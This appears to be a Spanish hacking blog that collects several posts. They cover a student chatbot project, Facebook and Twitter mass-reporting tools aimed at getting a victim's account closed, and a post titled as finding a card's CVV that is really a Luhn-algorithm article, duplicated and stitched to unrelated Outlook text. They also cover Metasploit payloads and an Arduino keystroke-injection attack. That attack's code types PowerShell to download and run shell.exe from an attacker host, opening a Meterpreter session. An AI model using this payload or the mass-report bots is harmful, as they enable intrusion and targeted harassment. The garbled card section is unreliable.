CHATBOT asistente virtual (Python)


INTRODUCCIÓN 


Los sistemas de Chatbot en las IA, suelen poseer un alto grado de importancia, debido a que se basan en la  búsqueda de una solución al problema o inquietud presentada por el usuario, por ello son de vital importancia conocer, aprender la estructura y funcionamiento de estos sistemas para la resolución de los problemas presentados por los usuarios, de tal modo que la respuesta dada por el sistema sea acorde a la necesidad del usuario en la vida real y que este satisfaga las necesidades del mismo.
Por otro lado, se dará a conocer el desarrollo de un sistema de chatbot para la solución o respuesta a preguntas y/o interrogantes expuestas por los usuarios, que cotidianamente suelen presentarse en una conversación en la vida real, es decir, cuando se interactúa de Humano a Humano.
Cabe resaltar que dicho sistema está enfocado,  en que la maquina sea capaz de mantener y/o iniciar una conversación, esta parezca o se asimile a una plática de la vida real, es decir, como si estuviera interactuando con una persona, tanto que el mismo usuario puede entrenar al bot dándole mayor cantidad de respuestas a las preguntas planteadas por el mismo.
En la inteligencia artificial, el desarrollo, estudio y aplicación de sistemas de chatbot no solo están diseñados para imitar la conversación humana y entretener a los usuarios, por lo contrario ellos juegan un papel importante en la resolución de problemas en muchos campos, tales como, la educación, recuperación de información, negocios y en el comercio electrónico el cual en la actualidad está en pleno apogeo.
Por otro lado, los chatbot pueden facilitar la comunicación entre el usuario y máquina para la solución de dudas y/o inconvenientes, de modo que le permite al usuario expresar su interés, deseos o consultas directa y naturalmente, hablando, escribiendo y señalando, tanto que en su grado más alto sea una conversación fluida y entretenida.
A  continuación, vamos a dar a conocer cómo puede actuar los sistemas de chatbot y además cómo funcionan, basándonos en el desarrollado para el proyecto final de Inteligencia Artificial 2019.

TEORIA


En la actualidad, la necesidad de agentes conversacionales se ha agudizado con la generalización y uso de máquinas personales con el deseo de comunicarse, para cumplir dicho deseo,  sus creadores proporcionan interfaces de lenguaje natural, así como las personas usan el lenguaje para la comunicación humana, las personas quieren usar su lenguaje para comunicarse con las computadoras. Por ello acordaron que la mejor manera para facilitar la interacción humana con el ordenador (HCI) es permitiendo a los usuarios expresar sus interés, deseos o consultas directa y naturalmente, hablando, escribiendo y señalando.
 La arquitectura de chatbot integra un modelo de lenguaje y computacional algoritmos para emular la comunicación de chat informal entre un usuario humano y una computadora. Utilizando el lenguaje natural. Inicialmente, los desarrolladores crearon y utilizaron chatbots para divertirse, y utilizaron técnicas sencillas de búsqueda de palabras clave para encontrar una coincidencia de una entrada de usuario, como ELIZA (Weizenbaum, 1966, 1967).
Durante los años setenta y ochenta, antes de la llegada de las interfaces gráficas de usuario, vieron rápido crecimiento en el texto y la investigación de interfaz de lenguaje natural, por ejemplo, Acantilado y atwell (1987), Wilensky et (1988). Desde entonces, una serie de nuevas arquitecturas de chatbot. Han sido desarrollados, tales como: MegaHAL (Hutchens, 1996), CONVERSE (Batacharia et al., 1999), ELIZABETH (Abu Shawar y Atwell, 2002), HEXBOT (2004) y ALICE (2007). Con la mejora de las técnicas de minería de datos y aprendizaje automático, mejores capacidades de toma de decisiones, disponibilidad de corpus, anotaciones lingüísticas robustas/estándares de herramientas de procesamiento como XML y sus aplicaciones.
Por otro lado, un chatbot podría ser una herramienta útil en dicho campo, por ejemplo, para practicar el lenguaje o hacer una explicación de algún libro, se encontró que usar un chatbot para responder preguntas ayudará al maestro a ver dónde tienen problemas los estudiantes, qué preguntas hacen los estudiantes, y se puede acceder al archivo de registros generado para evaluar el aprendizaje de los estudiantes, y los estudiantes debilidades, un ejemplo de esto es el desarrollo del chatbot de Sofía para ayudar en la enseñanza de Matemáticas.
El chatbot de Sofía tiene la capacidad de chatear con usuarios y al mismo tiempo chatear con otros agentes matemáticos, como Pari y Mathmatica, para ayudar a resolver el álgebra y problemas. El "cerebro" del bot contiene archivos de texto que se centran principalmente en matemáticas y otro conocimiento común para hacer que Sophia sea amigable de usar. Sophia fue entrenada con algunos chistes, y está familiarizado con las películas en las que las matemáticas juegan un papel. Sofía fue utilizada en el departamento de Matemáticas de Harvard.  Los resultados mostraron que los maestros pueden usar un chatbot para buscar problemas a medida que los estudiantes lo utilizan para resolver problemas. Los investigadores de recuperación de información reconocen esa técnica.
Como se ha mostrado anteriormente, esta tecnología, si tiene éxito, podría tener una aplicación generalizada en escuelas, universidades y otros escenarios de capacitación. Y concluya que una fusión de los dos campos puede llevar al desarrollo de técnicas de negociación para los chatbots y la mejora del Modelo de Aprendizaje Abierto.
Por ello, los chatbot proporcionan resultados conversacionales en respuesta, y si son ordenados, a veces también pueden ejecutar tareas. Por esta razón, en la actualidad es más fácil entrenar e implementar los chatbots. Esto se debe al abundante código fuente abierto, a las plataformas de desarrollo ampliamente disponibles y a las opciones de implementación a través del Software como Servicio (SaaS). Además de mejorar las experiencias de los clientes y apoyar el aprendizaje, los chatbots también pueden usarse para diseñar daños sociales, es decir, para difundir rumores y desinformación, o atacar a personas por publicar sus pensamientos y opiniones en línea. 

PROCEDIMIENTO EXPERIMENTAL


Durante la lectura de la revista se puede observar las diferentes procedimientos utilizados en la ejecución de un sistema de chatbot, el cual tiene como fin el aprendizaje o entrenamiento que puede tener por parte de una persona humana, conllevando a la ampliación de la base de datos del mismo.

Figura 1.Cuando se establece una conversación fluida.
Figura 2.Cuando queremos corregir al bot, digitamos la frase “Bot esa no es la respuesta” (Al momento de digitar la frase, debe ser exactamente la expuesta, sino el bot no entenderá que lo queremos corregir)
Figura 3.Cuando el bot no entiende una sentencia o frase en una conversación, nos pregunta cómo debería responder, y de esta manera aprende.
Figura 4.El bot respondiendo a la conversación que le enseñamos.
Figura 5.Estando en el caso de la Figura 4.Aprendizaje, si le decimos que no sabemos contestar a tal conversación, entonces esa conversación que el bot no pudo aprender a responder la guarda en su BD de conversaciones sin responder, así luego de un tiempo le preguntará al usuario si ya sabe cómo responder a tal conversación.
Figura 6.La BD luego de guardar la conversación que no pudo aprender.
Figura 7.Si se da el caso en el que le decimos al bot que no sabemos contestar a tal conversación, y además ha transcurrido cierto tiempo de conversación entre el bot y el usuario, entonces el bot nos recuerda si ya sabemos responder a una conversación de las que tiene en la BD de conversaciones sin responder, tal conversación es escogida aleatoriamente de la BD de preguntas sin responder. Y así aprende a responder una de las conversaciones que anteriormente no pudo responder.
Figura 8.Acá apreciamos que una vez respondemos a la conversación que estaba en la BD de preguntas sin responder, es eliminada de la BD de preguntas sin responder, pues el bot ha aprendido a contestarla.
Figura 9.Y aquí vemos que el bot ha aprendido a responder a tal conversación.


Figura 10.Cuando ya sabemos qué respuesta dar a una conversación de las que tiene el bot almacenada en su BD de preguntas sin responder, simplemente debemos digitar la frase "Bot ya sé la respuesta" (Debemos digitar la frase tal cual está expresada, incluso con el acento), con esto el bot nos presentará las preguntas almacenadas en su BD de preguntas sin responder, para que seleccionemos qué pregunta le enseñaremos a responder, además de la función mencionada también podemos digitar la letra B para sí olvidamos la respuesta, o simplemente queremos volver al flujo de la conversación. Una vez que le enseñamos al bot, la conversación es borrada de la BD de preguntas sin responder.

Figura 11.El bot respondiendo a la conversación que le enseñamos.
Figura 12.Para terminar la conversación, le decimos Adios al bot, así este no responderá con una frase de despedida y la ejecución del programa concluirá

Código


VÍDEO TUTORIAL






0 comentarios:

Face_Block(REPORTE DE USUARIO DE FACEBOOK CON PYTHON)

Cierre de Facebook
Para cerrar la cuenta de Facebook por siempre, lo que se necesita hacer es pedir a varios amigos, o personas de esta red social  que denuncien la cuenta victima, de esta manera es requerido conseguir a mas de 5 personas que realicen este proceso, para así lograr que Facebook, rápidamente revise el contenido, del perfil y en primer momento procede a cerrar la cuenta o bloquearla.








PROGRAMA DESCARGAR EN:



VÍDEO TUTORIAL



0 comentarios:

BIN Como Encontrar una CVV de una tarjeta de credito

El algoritmo de Luhn y su importancia en la validación de tarjetas de pago
Tal y como se explicó hace algunos años en el artículo «¿Cómo funcionan las tarjetas de pago? Parte I: PAN (Primary Account Number)«, el PAN de una tarjeta está conformado por una serie de dígitos (por lo general 16) con una estructura definida



Este artículo describirá la importancia del último dígito del PAN, conocido como «dígito de verificación» («check digit»), valor que permite identificar si un número de tarjeta de pago es válido o no. Antes de proceder, es importante tener en cuenta que el algoritmo de Luhn permite comprobar si una secuencia de dígitos corresponde a un número de tarjeta (PAN) válido, sin que ello implique que dicha tarjeta sea operativa o que pueda ser usada en transacciones comerciales, labor que corresponde al centro autorizador.

Historia
Con el fin de validar posibles errores a la hora de la transcripción de una secuencia de números (cambiar un número por otro o identificar posibles intercambios de dígitos), el ingeniero informático Hans Peter Luhn, que trabajaba para IBM,  diseñó en 1954 un algoritmo basado en el principio del módulo aritmético (suma matemática mod-10) que permitía la identificación de posibles errores durante la digitación o transmisión de una una cantidad considerable de números entre una fuente y otra (por ejemplo, durante la digitación de un número de tarjeta por una persona en un formulario web o en su escritura en un papel). Su algoritmo se conoce como «algoritmo o fórmula de Luhn» o «algoritmo de módulo 10».

Hans Peter Luhn

Obviamente, una de las aplicaciones principales de este algoritmo se encuentra en la identificación de errores de digitación del PAN de las tarjetas de pago (definido en el estándar ISO/IEC 7812-1:2006 Identification cards — Identification of issuers — Part 1: Numbering system).

A pesar de su facilidad de implementación, el algoritmo no ofrece confiabilidad total en el caso de intercambio de dos cifras contiguas (por ejemplo 12 con 21), razón por la cual la fórmula ha sido optimizada en algoritmos más recientes como es el caso del algoritmo de Verhoeff y el algoritmo de Damm.
Generación del dígito de verificación a través del algoritmo de Luhn
Para generar el dígito de verificación empleando el algoritmo de Luhn se deben seguir estos pasos:
  1. En una secuencia de dígitos dada, el dígito de verificación será el último valor, que en principio se desconoce
  2. Partiendo de esa última posición, se multiplica cada dígito de posición par (contando desde la derecha) por dos. Si el resultado es un número de dos dígitos, entonces se suman estos dos valores
  3. Posteriormente, se suman todos los dígitos obtenidos
  4. El dígito de verificación es el número que se obtiene como residuo después de dividir ese resultado entre 10 (que es lo que en matemáticas se denomina mod-10). En otras palabras, el dígito de verificación es el número que debe agregarse a este resultado para hacer el siguiente múltiplo de 10.

Generación del dígito de verificación empleando el algoritmo de Luhn

Validación de un número de tarjeta empleando el algoritmo de Luhn
Cuando se cuenta con una secuencia de dígitos y se quiere saber si esos números corresponden o no a un posible número de tarjeta de pago (PAN), se aplica el algoritmo de Luhn cuyo resultado debe ser 0 (cero) si esa secuencia es válida. En este caso, los pasos a seguir son los mismos que en la generación, sólo que esta vez se tiene en cuenta el último dígito de la secuencia dentro de las operaciones aditivas. Para este ejemplo se usará la secuencia con el dígito de verificación generado anteriormente:

Validación de un número de tarjeta empleando el algoritmo de Luhn
Como se puede observar, la secuencia es considerada válida ya que el resultado de la operación mod-10 es igual a cero.
El siguiente caso analiza otra secuencia de 16 dígitos para identificar si es un número de tarjeta válido o no:

Validación de un número de tarjeta empleando el algoritmo de Luhn
En este caso, el resultado de mod-10 es igual a 1, por lo que la secuencia corresponde a un número de tarjeta inválido.
Escenarios de aplicación del algoritmo de Luhn en entornos PCI DSS
El algoritmo de Luhn puede ser empleado para la validación del código IMEI de teléfonos móviles, números de identificación personal, números de seguridad social, etc. No obstante, su principal uso se encuentra en la identificación de la validez de datos del PAN de una tarjeta de pago. En entornos PCI DSS esta labor es de vital importancia en el cumplimiento de los siguientes controles:
  • Validar que en entornos de pruebas y/o de desarrollo no se usan datos de PAN reales (req. 6.4.3)  mediante el análisis de los datos de tarjetas empleados por los desarrolladores y su validación con el algoritmo de Luhn.
  • Validar que no existen datos de PAN reales almacenados en texto claro (req. 3.4) en logs, ficheros de depuración, bases de datos, etc. Esto se puede llevar a cabo analizando los resultados de herramientas de búsqueda de datos de PAN y validándolos con el algoritmo de Luhn.
  • Implementar alertas en sistemas de detección de intrusos (IDS) si se identifican secuencias de números en el tráfico de red analizado (req. 11.5). Validar que no se emplean canales de mensajería instantánea para el envío de datos de PAN, como por ejemplo a través del correo electrónico (Req. 4.2).
  • Implementar una metodología de descubrimiento de datos para confirmar el alcance de PCI DSS, respuesta ante incidentes y mecanismos para la detección y prevención de exfiltración del PAN en canales no autorizados (Req. A3.2.5.x y A3.2.6.x del Anexo 3 de PCI DSS para entidades designadas (DES))
Otros posibles usos del algoritmo de Luhn son:
  • Si el entorno emplea tokenización basada en Format Preserving Tokenization (FPT) en la cual el token tiene el mismo formato del PAN (16 dígitos) pero se quiere distinguir si una secuencia de dígitos en particular es un PAN real o un token, se puede emplear el algoritmo de Luhn
  • En un formulario web de ingreso de datos de tarjeta, para validar si el PAN digitado por el cliente final es un PAN correcto o no, se puede emplear el algoritmo de Luhn a través de componentes JavaScript, evitando de esta manera que se envíen datos inválidos al centro autorizador
  • Si se emplean soluciones de DLP (Data Loss Prevention), se pueden configurar reglas específicas para identificar su una secuencia de dígitos corresponde o no a un dato de PAN empleando el algoritmo de Luhn.
  • El algoritmo de Luhn y su importancia en la validación de tarjetas de pago
  • Tal y como se explicó hace algunos años en el artículo «¿Cómo funcionan las tarjetas de pago? Parte I: PAN (Primary Account Number)«, el PAN de una tarjeta está conformado por una serie de dígitos (por lo general 16) con una estructura definida:
  •  
  • Este artículo describirá la importancia del último dígito del PAN, conocido como «dígito de verificación» («check digit»), valor que permite identificar si un número de tarjeta de pago es válido o no. Antes de proceder, es importante tener en cuenta que el algoritmo de Luhn permite comprobar si una secuencia de dígitos corresponde a un número de tarjeta (PAN) válido, sin que ello implique que dicha tarjeta sea operativa o que pueda ser usada en transacciones comerciales, labor que corresponde al centro autorizador.
  • Historia
  • Con el fin de validar posibles errores a la hora de la transcripción de una secuencia de números (cambiar un número por otro o identificar posibles intercambios de dígitos), el ingeniero informático Hans Peter Luhn, que trabajaba para IBM,  diseñó en 1954 un algoritmo basado en el principio del módulo aritmético (suma matemática mod-10) que permitía la identificación de posibles errores durante la digitación o transmisión de una una cantidad considerable de números entre una fuente y otra (por ejemplo, durante la digitación de un número de tarjeta por una persona en un formulario web o en su escritura en un papel). Su algoritmo se conoce como «algoritmo o fórmula de Luhn» o «algoritmo de módulo 10».

  • Hans Peter Luhn
  • Obviamente, una de las aplicaciones principales de este algoritmo se encuentra en la identificación de errores de digitación del PAN de las tarjetas de pago (definido en el estándar ISO/IEC 7812-1:2006 Identification cards — Identification of issuers — Part 1: Numbering system).
  • A pesar de su facilidad de implementación, el algoritmo no ofrece confiabilidad total en el caso de intercambio de dos cifras contiguas (por ejemplo 12 con 21), razón por la cual la fórmula ha sido optimizada en algoritmos más recientes como es el caso del algoritmo de Verhoeff y el algoritmo de Damm.
  • Generación del dígito de verificación a través del algoritmo de Luhn
  • Para generar el dígito de verificación empleando el algoritmo de Luhn se deben seguir estos pasos:
  • En una secuencia de dígitos dada, el dígito de verificación será el último valor, que en principio se desconoce
  • Partiendo de esa última posición, se multiplica cada dígito de posición par (contando desde la derecha) por dos. Si el resultado es un número de dos dígitos, entonces se suman estos dos valores
  • Posteriormente, se suman todos los dígitos obtenidos
  • El dígito de verificación es el número que se obtiene como residuo después de dividir ese resultado entre 10 (que es lo que en matemáticas se denomina mod-10). En otras palabras, el dígito de verificación es el número que debe agregarse a este resultado para hacer el siguiente múltiplo de 10.

  • Generación del dígito de verificación empleando el algoritmo de Luhn
  • Validación de un número de tarjeta empleando el algoritmo de Luhn
  • Cuando se cuenta con una secuencia de dígitos y se quiere saber si esos números corresponden o no a un posible número de tarjeta de pago (PAN), se aplica el algoritmo de Luhn cuyo resultado debe ser 0 (cero) si esa secuencia es válida. En este caso, los pasos a seguir son los mismos que en la generación, sólo que esta vez se tiene en cuenta el último dígito de la secuencia dentro de las operaciones aditivas. Para este ejemplo se usará la secuencia con el dígito de verificación generado anteriormente:

  • Validación de un número de tarjeta empleando el algoritmo de Luhn
  • Como se puede observar, la secuencia es considerada válida ya que el resultado de la operación mod-10 es igual a cero.
  • El siguiente caso analiza otra secuencia de 16 dígitos para identificar si es un número de tarjeta válido o no:
  • Validación de un número de tarjeta empleando el algoritmo de Luhn
  • En este caso, el resultado de mod-10 es igual a 1, por lo que la secuencia corresponde a un número de tarjeta inválido.
  • Escenarios de aplicación del algoritmo de Luhn en entornos PCI DSS
  • El algoritmo de Luhn puede ser empleado para la validación del código IMEI de teléfonos móviles, números de identificación personal, números de seguridad social, etc. No obstante, su principal uso se encuentra en la identificación de la validez de datos del PAN de una tarjeta de pago. En entornos PCI DSS esta labor es de vital importancia en el cumplimiento de los siguientes controles:
  • Validar que en entornos de pruebas y/o de desarrollo no se usan datos de PAN reales (req. 6.4.3)  mediante el análisis de los datos de tarjetas empleados por los desarrolladores y su validación con el algoritmo de Luhn.
  • Validar que no existen datos de PAN reales almacenados en texto claro (req. 3.4) en logs, ficheros de depuración, bases de datos, etc. Esto se puede llevar a cabo analizando los resultados de herramientas de búsqueda de datos de PAN y validándolos con el algoritmo de Luhn.
  • Implementar alertas en sistemas de detección de intrusos (IDS) si se identifican secuencias de números en el tráfico de red analizado (req. 11.5). Un ejemplo con SNORT se puede encontrar aquí.
  • Validar que no se emplean canales de mensajería instantánea para el envío de datos de PAN, como por ejemplo a través del correo electrónico (Req. 4.2). Un ejemplo con Office 365 se puede encontrar aquí.
  • Implementar una metodología de descubrimiento de datos para confirmar el alcance de PCI DSS, respuesta ante incidentes y mecanismos para la detección y prevención de exfiltración del PAN en canales no autorizados (Req. A3.2.5.x y A3.2.6.x del Anexo 3 de PCI DSS para entidades designadas (DES))
  • Otros posibles usos del algoritmo de Luhn son:
  • Si el entorno emplea tokenización basada en Format Preserving Tokenization (FPT) en la cual el token tiene el mismo formato del PAN (16 dígitos) pero se quiere distinguir si una secuencia de dígitos en particular es un PAN real o un token, se puede emplear el algoritmo de Luhn
  • En un formulario web de ingreso de datos de tarjeta, para validar si el PAN digitado por el cliente final es un PAN correcto o no, se puede emplear el algoritmo de Luhn a través de componentes JavaScript, evitando de esta manera que se envíen datos inválidos al centro autorizador
  • Si se emplean soluciones de DLP (Data Loss Prevention), se pueden configurar reglas específicas para identificar su una secuencia de dígitos corresponde o no a un dato de PAN empleando el algoritmo de Luhn.
Dado que Microsoft Outlook admite la automatización, puede controlar Outlook desde cualquier programa que esté escrito con Microsoft Visual Basic. La automatización proporciona un método estándar de una aplicación para obtener acceso a los objetos, métodos, propiedades y eventos de otras aplicaciones que admiten la automatización.
El modelo de objetos de Outlook proporciona todas las funcionalidades necesarias para manipular los datos almacenados en carpetas de Outlook, y
Para iniciar una sesión de automatización de cualquier página web, puede utilizar el enlace anticipado o en tiempo de ejecución. El enlace en tiempo de ejecución usa la función de Visual Basic GetObject o CreateObject para inicializar la pagina web. Por ejemplo, el siguiente código establece una variable de objeto para el objeto Application de Outlook, que es el objeto de nivel superior en el modelo de objetos de Outlook. Todo el código de automatización debe definir un objeto de Outlook Application para tener acceso a otros objetos de Outlook.

VBCopiar
Dim objOL as Object
Set objOL = CreateObject("Sitioweb.Application")

Para usar el enlace anticipado, primero debe establecer una referencia a la biblioteca de objetos de la pagina web. Use el comando de referencia en el menú de herramientas de Visual Basic para aplicaciones (VBA) para establecer una referencia a Biblioteca de objetos de WebBrowser1 xx.x, donde xx.x representa la versión de Outlook en la que se está trabajando. Luego, puede usar la siguiente sintaxis para iniciar una sesión de Outlook.

VBCopiar
Dim objOL as WebBrowser1.Application
Set objOL = New WebBrowser1.Application


Vídeo Tutorial



3 comentarios:

Twitter Report Script para reporte usuario de Twitter falsos (Robot)


RUTINA AUTOMTIZADA

Se trata de aquella actividad que al haberse realizado muchas veces se incorpora como hábito o costumbre de modo que se ejecuta y realiza libre de decisiones, es decir de forma mecánica o automática.
La automatización de TI es el uso de un sistema de instrucciones para llevar a cabo un conjunto repetido de procesos que reemplaza el trabajo manual que se realiza para los sistemas de TI.


TWITTER-REPORT



Twitter-Report es una rutina automatizada que facilita el proceso de realizar todos los pasos para reportar una cuenta en Twitter múltiples veces, para ocasionar el cierre de perfiles ilegítimos que puedan atentar y/o amenazar contra la integridad de la información de los demás usuarios.
Es un script realizado con lenguaje de programación Python. Los Scripts son fragmentos de código que se utilizan para dar forma a herramientas tanto en Internet como en el sector de la informática en general. Son una parte crucial del software, ya que se trata precisamente del código que conforma a una aplicación en su totalidad o a una de sus funciones, como también el que puedes encontrar explorando cómo está hecha una web.
Este script al ser puesto en ejecución cumplirá con la tarea de reportar aquel usuario el cual sea una amenaza de manera automática, sin necesidad de que el usuario tenga la tarea de realizar ningún paso manualmente. El número de reportes estará establecido o definido por la cantidad de cuentas disponibles, se debe tener en cuenta que para ocasionar el cierre de una cuenta de Twitter no es suficiente con una sola denuncia, se debe tener una cantidad considerable para que esto suceda.

Herramientas:

Python: Python es un lenguaje de scripting independiente de plataforma y orientado a objetos, preparado para realizar cualquier tipo de programa, desde aplicaciones Windows a servidores de red o incluso, páginas web.
Pycharm: es un IDE o entorno de desarrollo integrado multiplataforma utilizado para desarrollar en el lenguaje de programación Python.
Selenium: es una API que mediante ciertos comandos permite interactuar con un navegador web de modo que se pueda simular el uso de una aplicación web por parte del usuario final.
GeckoDriver: es la conexión entre tus pruebas en Selenium y el programa           Firefox(controlador).
Mozilla Firefox: es el navegador utilizados, cabe decir que también se puede desarrollar el script utilizando otro navegador.


Código:  https://github.com/aureliohacking/Twitter_Report.git


VÍDEO TUTORIAL


0 comentarios:

Easyhack herramienta sencilla para hacking







RUTINA AUTOMATICA

A instancias de la informática se llamará rutina al conjunto de instrucciones que en un ordenador sirven para controlar una función o realizar una operación que se repite con mucha frecuencia.

ARCHIVOS SCRIPT

Archivo de órdenes, archivo de procesamiento por lotes, es un programa usualmente simple, que por lo regular se almacena en un archivo de texto plano. Los guiones son casi siempre interpretados, pero no todo programa interpretado es considerado un guion. El uso habitual de los guiones es realizar diversas tareas como combinar componentes, interactuar con el sistema operativo o con el usuario. Por este uso es frecuente que los intérpretes de órdenes sean a la vez intérpretes de este tipo de programas.
Otra definición alude a un código de programación, usualmente sencillo, que contiene comandos u órdenes que se van ejecutando de manera secuencial y comúnmente se utilizan para controlar el comportamiento de un programa en específico o para interactuar con el sistema operativo.
En Windows se les conoce como archivos batch y su extensión es .bat y se interpretan a través de la línea de comandos (el famoso MS-DOS) además se basan en los mismos principios que en UNIX. Podemos identificar los scripts por las extensiones .bash y .sh que utilizan, los archivos guion suelen ser identificados por el sistema a través de uno de los siguientes encabezamientos en el contenido de la mísica,

#!/bin/bash    #!/bin/ksh   #!/bin/csh 

La almohadilla y el símbolo de exclamación le indican al sistema que se trata de un script y que debe tratar las siguientes líneas como comandos y la otra parte indica que intérprete de comandos debe utilizar.
La forma más común de usar scripts fuera del entorno del kernel del sistema operativo es en archivos con función de ejecución que pueden instalar o actualizar alguna utilería, por ejemplo, los programas que tienen estas instrucciones para facilitar su instalación a usuarios sin experiencia en el uso de comandos en terminal.

METASPLOIT

Es el nombre que recibe el proyecto, open source, sobre seguridad informática. Este proyecto facilita el trabajo al auditor proporcionando información sobre vulnerabilidades de seguridad, ayudando a explotarlas en los procesos de pentesting o test de intrusión.
El subproyecto más famoso del qué dispone es Metasploit framework, o simplemente denominado Metasploit. Originalmente fue desarrollado en el lenguaje de programación Perl, para que con el paso del tiempo fuera escrito de nuevo bajo el lenguaje Ruby. Este framework es un conjunto de herramientas con las que el auditor puede desarrollar y ejecutar exploits y lanzarlos contra máquinas para comprobar la seguridad de éstas. Otras de las funcionalidades. que aporta es un archivo de shellcodes, herramientas para recolectar información y escanear en busca de vulnerabilidades.

MÓDULOS
Metasploit dispone de módulos los cuales ayudan a aumentar de manera sencilla las funcionalidades del framework. Un módulo es una pieza' o bloque de código que implementa una o varias funcionalidades, como puede ser la ejecución de un exploit concreto o la realización de un escaneo sobre máquinas remotas. Los módulos que componen el framework son el núcleo de Metasploit y los que hacen que sea tan poderoso. Estos pueden ser desarrollados por los usuarios y de esta manera ampliar el framework de manera personalizada, y en función de las necesidades del auditor.

EXPLOIT
Exploit viene del verbo inglés to exploit, que significa explotar o aprovechar. Un exploit es un código escrito con el fin de aprovechar un error de programación y la intención de obtener diversos privilegios. Un buen número de exploits tienen su origen en un conjunto de fallos de programación similares.
Normalmente, con la ejecución de un exploit el atacante busca tomar el control de una máquina de manera ilícita, realizar una escalada de privilegios en un sistema local sobre el que no dispone de ellos o sobre una máquina remota comprometida, o realizar un ataque de denegación de servicio, causando la caída de una aplicación o un sistema, evitando el normal funcionamiento de un servicio.
Por lo general el lenguaje estrella para el desarrollo de un exploit es el lenguaje C. También se pueden realizar exploits en otros lenguajes como Ruby, Java o Python, pero como se ha indicado anteriormente lo normal es la escritura de éstos en C.
Algunos de los grupos de vulnerabilidades más conocidos son:
Vulnerabilidades de desbordamiento de buffer.
Vulnerabilidades de error de formato de cadena o formal string bugs.
Vulnerabilidades de Cross Site Scripting, XSS.
Vulnerabilidades de SQL Injection.

PAYLOAD
Es la parte del código de un exploit que tiene como objetivo ejecutarse en la máquina víctima para realizar la acción maliciosa. La manera óptima para entender el significado de payload es mediante el uso de ejemplos. Un payload puede ser el código que se inyecta en una máquina a través de un exploit, y el cual permite al atacante ejecutar código en la máquina remota.
Ese código puede ser el que implemente una Shell inversa, es decir, la máquina víctima lanzará una conexión hacia la máquina del atacante devolviéndole una línea de comandos para que pueda interactuar con la máquina vulnerada.
Otro ejemplo de payload puede ser una Bind Shell, es decir, una vez se ha introducido el código a ejecutar en la máquina remota éste deja a la escucha en un puerto de la máquina una shell. El atacante se conectará a dicho puerto mediante conexión directa y dispondrá de acceso y ciertos privilegios.
Un payload también puede ser, simplemente, conseguir ejecutar en la máquina remota una secuencia de comandos sobre la máquina víctima. Por ejemplo, para realizar una denegación de servicio sobre una aplicación en una máquina vulnerable.

Descarga el código en:  

https://github.com/aureliohacking/Easy_Hack.git        

VÍDEO TUTORIAL







0 comentarios:

RUBER DUKY


Para abordar este tema debemos comprender que es una ruberduky  ya que este proyecto es basado en este una USB Rubber Ducky (o USB Patito de Goma), es un hardware creado por Hak5, el cual, simula ser un pendrive normal, pero en realidad es una herramienta que inyecta pulsaciones de teclas (es un teclado camuflado). Al momento de conectar este USB, es reconocido con un driver Atmel, haciéndose pasar por un teclado normal (para no levantar sospechas y evitar que sea bloqueado por antivirus o firewall) y ejecuta las teclas indicadas en su código.






Figura 1. Arduino ATMEGA 34U4


Para poder realizar este proyecto se utilizó un dispositivo Arduino ATMEGA 34U4 que contiene el chip Atmel por lo cual se podrá hacer la ejecución y simulación del teclado y se poder así realizar la penetración al computador y hacer el debido hackeo.


PASOS:

1) En nuestro sistema operativo Kali Linux se llevarán a cabo los siguientes procesos

1- Buscar la dirección física de red la cual será añadida en nuestro archivo.


2- Crearemos el archivo con una aplicación llamada Ezesploit.



3- Ubicaremos nuestro archivo creado en una carpeta que corresponde a nuestro servidor apache.


4- Encenderemos nuestro servidor apache.


5- pondremos a nuestro pc en modo escucha para que cuando el dispositivo USB se conecte podremos estar dentro del pc utilizaremos el programa Metasploit para realizar está acción.


6- Descargamos la aplicación Arduino ya que desde allí se realizará la programación correspondiente para llevar a cabo el ataque.


7- Conectamos nuestro Arduino y procedemos a programar las acciones correspondientes que ejecutara luego en un powershell, con la librería keyboard ya que este simulara un teclado.



8- La programación tendrá la parte de la dirección de donde se descargar el archivo que nos permitirá acceder al pc y también donde se guardad y luego lo ejecutará automáticamente ya que esa fie la orden que le dimos anteriormente en la programación Arduino.
Cuando ya se a efectuado la ejecución del archivo nos daremos cuenta que aquí nos inició la sesión meterpreter indicando que fue un éxito el hakeo.




código:



#include <Keyboard.h>

void setup() {
  
  Keyboard.begin();
  delay(500);
  Ejecutar();
  Tipear("powershell");
  Enter();
  delay(500);
  Tipear("$client = new-object System.Net.WebClient$client");
  Enter();
  delay(500);
  Tipear("$client.DownloadFile(\'http://192.168.1.10/shell.exe','Desktop/shell.exe')");
  Enter();
  delay(500);
  Tipear("Invoke-item $Env:userprofile/Desktop/shell.exe");
  Enter();
  delay(100);
  Tipear("Exit");
  Enter();
  Keyboard.end();
  digitalWrite(LED_BUILTIN, LOW);
}

void loop() {
}

void Enter(){
  Keyboard.press(KEY_RETURN);
  delay(500);
  Keyboard.release(KEY_RETURN);
  delay(500);
}
void Cerrar(){
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_F4);
  delay(500);
  Keyboard.release(KEY_LEFT_ALT);
  Keyboard.release(KEY_F4);
  delay(500);
}

void Tipear(char txt[]){
  Keyboard.print(txt);
  delay(500);
}
void Ejecutar(){
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  delay(500);
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  delay(500);
}


VÍDEO TUTORIAL 




0 comentarios: